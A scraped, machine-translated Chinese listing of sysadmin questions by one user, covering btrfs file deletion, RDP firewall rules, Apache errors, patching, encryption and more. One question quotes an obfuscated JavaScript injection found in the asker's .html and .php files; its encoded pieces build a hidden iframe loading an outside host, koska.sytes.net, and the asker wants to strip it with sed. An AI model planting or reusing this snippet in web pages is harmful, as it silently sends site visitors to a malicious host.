小编mai*_*ilq的帖子

在 btrfs 文件系统上删除数千个文件的最快方法是什么?

目前我有一个 btrfs 挂载点,其结构如下:#

/mountpoint/month/day/hourAs24/

每个叶目录包含 5,000 到 20,000 个小文件。我在那里保存了两个月的文件。每天我都会使用命令删除超过 60 天的目录

rm -R /mountpoint/month/day/

此命令需要很长时间才能运行,并且该命令运行时服务器上的负载非常高。

/mountpoint/month/每天在下面创建 btrfs 子卷,然后在一个命令中清除子卷会更好吗?

有没有其他快速和轻量级的解决方案可以在单个命令中删除一个 btrfs 目录下的文件?

编辑: 澄清情况。在结构中,文件夹month,dayhourAs24是由当前日期时间的相应值替换的变量。

解决后编辑: 它在我的测试机器上运行顺利。并且以下所有作品都在安装了挂载点的情况下生效!首先,我为每个月创建普通目录

mkdir /mountpoint/month

然后我为每月的每一天创建 btrfs 子卷

btrfs subvolume create /mountpoint/month/day

然后我为一天中的每个小时创建普通目录

mkdir /mountpoint/month/day/hourAs24

60 天后,我可以轻松清除当天的目录

btrfs subvolume delete /mountpoint/month/day

(现在我必须等待 60 天才能看到生产服务器上的性能)

filesystems remove btrfs

4
推荐指数
1
解决办法
3530
查看次数

如何允许 RDP 从一个 IP 访问 Windows 2008R2 服务器?

我一直试图通过只允许来自一个 IP 地址的 RDP 流量来保护 RDP 到新的 Windows 2008R2 服务器(使用 Windows 防火墙)。

在“计算机”选项卡下,当服务器设置为仅允许安全连接时,我似乎只能允许用户或计算机身份验证。

因此,我转到“常规”选项卡并在“操作”下设置为“如果连接是安全的,则允许连接”。那时我被拒之门外,无法通过 RDP 重新连接并且必须重建(这是一个 Rackspace 云服务器,很容易完成)。

我哪里错了?我没有对我的本地工作站做任何事情(我假设我必须这样做),因为我在 RDP 客户端中找不到任何关于加密连接的更改。

windows-server-2008 remote-desktop windows-firewall

4
推荐指数
1
解决办法
2万
查看次数

Linux - 有没有办法伪造最高目录?

/是 Linux 中的最高目录。有没有办法把它伪装成别的东西/opt/rpmbuild/BUILDROOT

这是我的问题空间。我正在尝试将 COTS 重新打包为 RPM 格式。COTS 以二进制形式出现,我需要先安装它,然后再将其打包到 RPM 中。安装正在将其安装到/opt/app目录中,我希望将其安装到其中,/opt/rpmbuild/BUILDROOT/opt/app但我无法强制这样做。

linux rpm

4
推荐指数
1
解决办法
583
查看次数

哪个电子邮件软件会生成这些垃圾邮件?

我注意到很多来自可疑来源的垃圾邮件。它们不是真正的垃圾邮件,而是主动提供的。您可以通过包含这些标头来识别它们:

X-Mailer-LID: 5
List-Unsubscribe: <http://example.com/unsubscribe.php?M=605065&C=b9fd2d5e30ef6ba9f399d0536f293b69&L=5&N=4>
X-Mailer-RecptId: 605065
X-Mailer-SID: 4
X-Mailer-Sent-By: 1
Run Code Online (Sandbox Code Playgroud)

有谁知道生成这些邮件的软件?它们随后通过真正的 MTA 发送,如 Postfix 或 Exim。

如果可以验证该软件,您就可以使用该信息进行垃圾邮件过滤。

email spam

4
推荐指数
1
解决办法
940
查看次数

apache2重启“用户名错误”错误

基本上,我无法重新启动/停止我的 Apache 服务器。我收到以下错误:

aditya@aditya-desktop:/usr/sbin$ sudo ./apache2 -k restart
apache2: bad user name ${APACHE_RUN_USER}
Run Code Online (Sandbox Code Playgroud)

关于导致此错误的原因以及如何解决它的任何想法?

apache-2.2

3
推荐指数
1
解决办法
8471
查看次数

你怎么知道什么时候给你的 Ubuntu 机器打补丁?

我在某处托管了一个运行 Ubuntu 10.04 的 VPS。我怎么知道什么时候给系统打补丁?是否有类似于 Mac OS 或 Windows 警告我(通过电子邮件)应用更新的通知系统?

linux patch-management

3
推荐指数
2
解决办法
171
查看次数

如何使用 sed 删除多个文件中的恶意软件代码?

我在服务器上的许多 .html 和 .php 文件中都有这个恶意软件代码。我需要使用删除它们

  • sed -i expression
  • 搜索目录下的所有文件 /home/
  • 找到受感染的文件
  • 通过用空格替换它来删除代码

    VAR usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66'; VAR nimbchnzujc = 'PaBUTyjaZYg72'; VAR szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22'; VAR xwojmnoxfbs ='PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22' ; VAR mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f'; VAR nixyhgyjouf =“koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = '';VAR rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR niupgeebkhf = ''; VAR yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';VAR tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61'; VAR zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e'; VAR yydszqnduko =新的Array(); yydszqnduko [0] =新阵列(usikwseoomg + nimbchnzujc + szwtgmqzekr + yvofadunjkv + ylydzxyjaci + xwojmnoxfbs …

linux grep sed

2
推荐指数
1
解决办法
2230
查看次数

如何加密Apache和所有MySQL数据库的文档根目录?

我只需要在 apache 启动时才对其进行加密和解密,所以这是计划:

  1. 启动计算机。
  2. 解密/var/www和 mysql 数据库文件。
  3. 启动阿帕奇。

所以也许它是不使用像 truecrypt 这样的安装加密容器的路径。

encryption disk-encryption

2
推荐指数
1
解决办法
791
查看次数

应该将 Apache 配置放入 apache conf 还是 .htaccess 中?

我一直想知道使用配置例如在虚拟主机的 conf 文件上的 mod_rewrite 规则(加载一次,就是这样),或者将它.htaccess放在目录本身的文件中,这是更有效的,据我所知加载并解析每个请求的文件。这是错误的吗?我不明白 Apache 如何使用该.htaccess文件?

configuration .htaccess apache-2.2

2
推荐指数
1
解决办法
91
查看次数

如何在 Windows 7 上创建没有配置文件的用户

谁能告诉我如何在 Windows 7 上创建没有配置文件的本地用户?

我有一个要运行的 cron 作业,但我不希望此用户显示在启动屏幕上的本地登录列表中。

windows-7 user-profile user-accounts

2
推荐指数
1
解决办法
2077
查看次数